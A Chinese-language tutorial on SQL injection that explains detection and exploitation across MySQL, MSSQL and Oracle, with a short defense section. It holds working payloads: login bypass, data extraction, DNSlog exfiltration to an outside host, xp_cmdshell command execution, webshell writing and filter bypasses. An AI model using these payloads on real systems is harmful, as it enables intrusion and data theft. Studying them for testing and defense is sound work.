
一、SQL注入基础
(一)概念与原理
- SQL注入是将SQL命令插入到Web表单递交或页面请求的查询字符串,欺骗服务器执行恶意SQL命令。
- 本质是把用户输入数据当作代码执行,原因是开发人员未对用户输入进行合法性判断,导致数据与代码未严格分离,改变了SQL命令语义并被数据库执行。
(二)危害
- 数据库信息泄漏,如用户隐私信息泄露。
- 网页篡改,通过操作数据库修改特定网页内容。
- 网站被挂马,传播恶意软件,修改数据库字段嵌入网马链接。
- 数据库被恶意操作,如管理员帐户被窜改。
- 服务器被远程控制,安装后门,修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统,某些数据库系统可通过SQL指令操作文件系统。
(三)注入流程
- 攻击者访问有SQL注入漏洞的网站,寻找注入点。
- 构造注入语句,与程序中的SQL语句结合生成新的SQL语句。
- 新的SQL语句被提交到数据库处理。
- 数据库执行新语句,引发SQL注入攻击。
(四)常见类型
- 按数据类型分类
- 数字型:如
id=1+and+1=1,通过在数字参数中添加逻辑判断来检测注入点。 - 字符型:如
id=1'(报错)、id=1'+and+'1'='1(页面有返回),通过闭合单引号并添加逻辑判断来检测,需注意特殊字符的处理。
- 数字型:如
- 按返回结果分类
- 显错注入:利用
extractvalue、updatexml等函数使页面返回错误信息或直接显示注入结果,可通过构造特殊的XML相关函数参数来实现,如and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1。 - 盲注
- 布尔盲注:页面仅返回True或False,根据页面返回情况判断数据库信息,如
and substr(database(),1,1)='s',通过逐位判断数据库名等信息。 - 时间盲注:界面返回值单一,通过加入特定时间函数(如
sleep),根据页面返回时间差判断注入语句是否正确,如1'+and+sleep(5)--+,可配合if函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+。
- 布尔盲注:页面仅返回True或False,根据页面返回情况判断数据库信息,如
- 显错注入:利用
(五)检测方法
- 常见步骤
- 字符型:在参数后添加单引号及逻辑判断,观察页面是否报错或返回差异,如
id=1'、id=1'+and+'1'='1、id=1'+and+'1'='2。 - 数字型:添加逻辑判断(如
and 1=1、and 1=2)或进行四则运算(如id=1/0、id=1/1),观察页面变化判断注入类型。
- 字符型:在参数后添加单引号及逻辑判断,观察页面是否报错或返回差异,如
- 判断依据:根据客户端返回结果判断提交的测试语句是否被数据库引擎执行,若执行则存在注入漏洞。
二、SQL注入利用方式
(一)绕过登录验证
使用万能密码,如' or 1=1--,闭合原有查询语句构造恶意语句登录网站后台。
(二)获取敏感数据
- 通过注入获取数据库管理员帐号、密码等信息。
- 利用联合查询注入
union select user(),database()获取用户名和数据库名。
(三)文件系统操作
- 在满足一定条件(如root权限、secure_file_priv为空等)下,可进行列目录、读取和写入文件等操作。
- 利用
load_file函数读取文件,into outfile函数写入文件。
(四)注册表操作
在特定数据库(如MSSQL)中,可执行注册表的读取、写入和删除操作。
(五)执行系统命令
在某些数据库(如MSSQL开启xp_cmdshell后)可远程执行命令,如exec master..xp_cmdshell "ping teki6x.dnslog.cn"。
三、数据库特性与注入方法
(一)MySQL
- 数据库构成与常见函数
- 初始化安装后有
information_schema、mysql、performance_schema、sys等系统数据库。 - 常见函数包括
system_user()、user()、database()、version()等,用于获取系统用户名、用户名、数据库名、数据库版本等信息;还有extractvalue、updatexml等报错函数,left、mid、substr等截取函数,if、case when等判断函数,ascii、length等其他函数,用于数据获取和判断。
- 初始化安装后有
- 注入方法
- 联合查询注入
- 使用
UNION操作符连接多个SELECT语句,前提是列数相同。 - 通过
order by判断列数,如id=1 +order+by+4--+报错说明前一个select语句有3列。 - 然后通过查询不存在的数据执行
union语句获取显示位,如id=1 union select 1,2,3--+。 - 最后利用显示位爆出敏感数据,如
id=' union select 1,user(),database()--+。
- 使用
- 报错注入
- 利用
extractvalue和updatexml等函数,当参数不符合要求时页面会报错,从而获取数据库信息。 - 例如
and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)='1可获取表名,and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))='1可获取字段名。 - 但
updatexml对输出字符长度和payload返回类型有限制,extractvalue输出字符也有长度限制(最长32位)。
- 利用
- 盲注注入
- 包括布尔盲注和时间盲注。
- 布尔盲注根据页面返回的True或False判断数据库信息,如通过
and substr(database(),1,1)='u'判断数据库名首字母。 - 时间盲注通过加入
sleep函数,根据页面返回时间差判断注入语句正确性,如1'+and+sleep(5)--+,可配合if函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+。
- UA注入/referer注入/dnslog外带
- UA注入利用网站记录用户UA信息的机制,通过修改UA头进行报错注入。
- referer注入利用网站记录访问来源的机制,修改referer进行报错注入。
- dnslog外带在无回显情况下,将dnslog平台特有字段
payload带入目标,通过dns解析带出信息,需满足secure_file_priv为空等条件,如id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+可查询当前用户名(需对特殊字符进行编码)。
- Cookie注入
- 对
get传递参数过滤但忽略cookie时,可通过修改cookie进行注入。 - 如登录后发现
cookie中uname参数可能用于数据库查询,添加单引号后页面报错,后续操作与其他注入类似。
- 对
- 宽字节注入
- 数据库使用
gbk编码时,利用特殊字符组合(如%df%27)可使单引号起作用,消除转义字符,从而进行注入,如id=%df%27union+select+1,user(),3。
- 数据库使用
- 堆叠注入
- 通过多条
sql语句一起执行,分号(;)用于分隔语句。 - 与联合注入不同,堆叠注入可执行任意语句,如
id=';insert+into+users(id,username,password)values('100','xxxx','xxxx')--+可插入数据。
- 通过多条
- 联合查询注入
(二)MSSQL
- 基础信息与函数
- 初始库有
master(记录系统级信息)、model(模板数据库)、msdb(SQL Server代理数据库)、tempdb(临时存储数据)。 - 函数包括
patindex(返回模式第一次出现的起始位置)、replace(替换字符串中子串)、replicate(复制字符串)、stuff(删除并插入子串)、upper和lower(转换字符大小写)、trim和ltrim(删除字符串空格)、charindex(查找字符或字符串位置)等,可用于数据处理和判断。
- 初始库有
- 注入流程与操作
- 注入流程
- 先判断权限,如
and 1=(select IS_SRVROLEMEMBER('sysadmin'))。 - 获取当前数据库,如
And 1=(select db_name())。 - 获取数据库内的数据表,如
and 1=convert(int,(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH('')))。 - 获取指定数据表的字段,如
and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))。 - 取指定数据库内表数据内容,如
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))。
- 先判断权限,如
- 命令执行与写shell
- 可开启或关闭
xp_cmdshell来执行命令,如;EXEC sp_configure'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;开启后可执行ping判断外网连通性、写入一句话木马等操作。 - 写shell方式包括
sp_makewebtask写文件、存储过程写文件、log备份写文件、差异备份写文件等。
- 可开启或关闭
- 注入流程
(三)Oracle
- 报错注入与盲注
- 报错注入利用
dbms_utility.sqlid_to_sqlhash等函数,如id=1 and dbms_utility.sqlid_to_sqlhash((select banner from sys.v_Sversion where rownum=1))='1可获取数据库版本。 - 盲注注入使用
decode等函数,如id='||decode(substrB(user,3,1),'D',0,1)||'判断用户名长度。
- 报错注入利用
四、SQL注入防御措施
- 过滤sql相关特殊字符,防止恶意SQL命令构造。
- 参数化查询,将用户输入与SQL命令严格分离。
- 使用预编译的存储方式,提高数据库操作安全性。
五、实操要点
(一)判断注入点类型
- 对于数字型注入,可通过在参数后添加逻辑判断(如
and 1=1、and 1=2)或进行四则运算(如id=1/0、id=1/1),观察页面变化来判断。 - 对于字符型注入,在参数后添加单引号及逻辑判断,如
id=1'、id=1'+and+'1'='1、id=1'+and+'1'='2,根据页面是否报错或返回差异来确定。
(二)利用注入漏洞获取信息
- 联合查询注入
- 先使用
order by判断列数,如id=1 +order+by+[数字]--+,逐步增加数字,直到页面报错,确定列数。 - 然后通过查询不存在的数据执行
union语句获取显示位,如id=1 union select 1,2,3--+,根据页面显示确定显示位。 - 最后利用显示位爆出敏感数据,如
id=' union select 1,user(),database()--+,可获取用户名、数据库名等信息。
- 先使用
- 报错注入
- 利用
extractvalue和updatexml等函数构造注入语句,如and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)='1获取表名,and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))='1获取字段名。 - 注意
updatexml对输出字符长度和payload返回类型有限制,extractvalue输出字符也有长度限制(最长32位),若获取数据长度超过限制,可使用concat和limit结合的方式逐步获取。
- 利用
- 盲注注入
- 布尔盲注通过构造逻辑判断语句,如
and substr(database(),1,1)='s',根据页面返回的True或False逐位判断数据库名等信息。 - 时间盲注利用
sleep函数,如1'+and+sleep(5)--+,通过观察页面返回时间差判断注入语句正确性,可配合if函数使用,如1'and+if(1=1,sleep(3),sleep(1))--+。
- 布尔盲注通过构造逻辑判断语句,如
(三)特殊情况处理
- 等号被过滤时,可使用
>、<、<>等符号结合ascii函数判断字符,如and ascii(substr(database(),1,1))>119;也可采用like、rlike、regexp、in、between等语句,如and database() like 't%'、and database() rlike '^te'、and database() regexp 'test.*'、and database() in ('test')、and substr(database(),1,1) BETWEEN 't' and 't'。 substr、mid等函数被过滤时,可采用locate、position、instr、lpad、rpad等函数替代,如and LOCATE('e',database())in('2')、and position('t' in database())=1、and instr(database(),'t')=1、select lpad(user(),1, '')= 'r'、select rpad(user(),1,'' )= 't'。- 逗号被过滤时,可采用
%2C替代,如id= -1' union select 1%2C2%2C3--+;也可使用from xx for xx的方式,如and substr(database()from 2 for 1)='e'。 and/or被过滤时,可使用&&、||或者like结合判断函数替代,如&& substr(database(),1,1)='t'、|| substr(database(),1,1)='t'、like+if(substr(database(),1,1)='s',1,0)=1--+。- 关键字被过滤时,可尝试大小写绕过(如
User()、dAtaBASE()、SelEct等)、双重关键字绕过(如selselectect、ununionion、oorr等,前提是只过滤一次)、注释符绕过(如//、--、/***/、#、--+、-- -、;、%00、--a、/*!*/)、编码绕过(如URLEncode编码、ASCII、HEX、unicode编码等)。
(四)其他注意事项
- 在进行注入测试时,要注意遵守法律法规,不要对未授权的网站进行测试,避免造成法律风险。
- 不同数据库的注入方法和函数有所不同,在实际操作中要根据目标数据库的类型选择合适的注入方式。
- 对于一些复杂的网站,可能存在多种过滤和防护机制,需要综合运用各种绕过技巧和方法,并且要有耐心和细心,不断尝试和分析。
- 在获取到数据库权限后,要谨慎操作,避免对目标系统造成不必要的损害,同时要注意保护获取到的敏感信息,防止信息泄露。
